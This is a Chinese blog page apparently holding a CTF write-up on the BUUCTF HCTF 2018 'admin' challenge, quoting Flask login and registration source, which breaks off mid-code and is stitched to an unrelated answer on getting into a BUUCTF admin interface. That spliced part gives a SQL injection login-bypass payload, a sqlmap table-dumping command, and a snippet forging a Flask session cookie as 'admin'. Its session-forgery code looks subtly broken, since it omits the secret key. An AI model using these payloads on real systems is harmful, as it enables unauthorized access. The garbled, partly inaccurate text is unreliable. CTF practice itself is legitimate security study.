[BUUCTF][HCTF 2018]admin

本文介绍了三种攻击方法,包括利用Flask Session的签名漏洞伪造admin session,通过Unicode欺骗绕过权限检查,以及利用条件竞争漏洞进行会话劫持。详细分析了源码并提供了利用脚本,揭示了Web应用中潜在的安全风险。

考点

  1. flask session伪造
  2. unicode欺骗
  3. 条件竞争

法一:flask session伪造

查看源码,提示you are not admin,猜测需要admin登录

注册登录,网站功能页面很多,依次查看源码,在change password界面发现源码

是一个flask框架,进入routes.py,看一下注册和登录部分的源码

@app.route('/register', methods = ['GET', 'POST'])
def register():

    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = RegisterForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        if session.get('image').lower() != form.verify_code.data.lower():
            flash('Wrong verify code.')
            return render_template('register.html', title = 'register', form=form)
        if User.query.filter_by(username = name).first():
            flash('The username has been registered')
            return redirect(url_for('register'))
        user = User(username=name)
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('register successful')
        return redirect(url_for('login'))
    return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('index'))

    form = LoginForm()
    if request.method == 'POST':
        name = strlower(form.username.data)
        session['name'] = name
        user = User.query.filter_by(username=name).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.</
### 访问BUUCTF Admin界面的方法 对于访问或登录BUUCTF平台的管理员界面,存在多种技术手段来实现这一目标。下面介绍几种方法: #### 方法一:利用SQL注入漏洞尝试登录 当面对可能存在SQL注入漏洞的情况时,可以通过构造特定条件语句绕过验证机制。例如,使用`username=' or 1=1#`这样的字符串作为用户名输入,无论设置何种密码都能成功登录[^1]。 ```python payload = { "username": "' OR '1'='1", "password": "a" } ``` 这种方法适用于那些未对用户输入做过滤处理的应用程序环境之下。 #### 方法二:通过POST请求提交恶意数据包 如果网站允许新用户的创建,则可以在注册过程中截获并保存HTTP POST请求的数据包文件(如命名为`1.txt`),之后借助自动化工具如Sqlmap来进行进一步渗透测试工作。命令如下所示[^2]: ```bash sqlmap -r 1.txt --dump --tables ``` 此操作可以帮助识别数据库结构以及潜在的安全弱点。 #### 方法三:篡改会话令牌以获取更高权限 某些情况下,应用程序可能会基于客户端浏览器中的cookie存储敏感信息,比如当前登录状态下的角色级别等。此时可考虑采用第三方库(例如flask-session-cookie-manager)先解码现有cookies得到明文表示形式;接着调整其中的关键属性值(像将普通成员更改为超级管理员);最后再次编码回原样以便于后续正常使用[^3]. ```python from flask_session_cookie_manager import decode, encode original_value = "..." # 原始Cookie内容 decoded_data = decode(original_value) modified_data = decoded_data.copy() modified_data['name'] = 'admin' new_cookie_content = encode(modified_data) ``` 以上三种方式均需谨慎行事,并严格遵循法律法规要求开展安全研究活动。值得注意的是,在实际环境中实施上述任何一种策略前,请务必确认已获得合法授权或许可证明材料。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值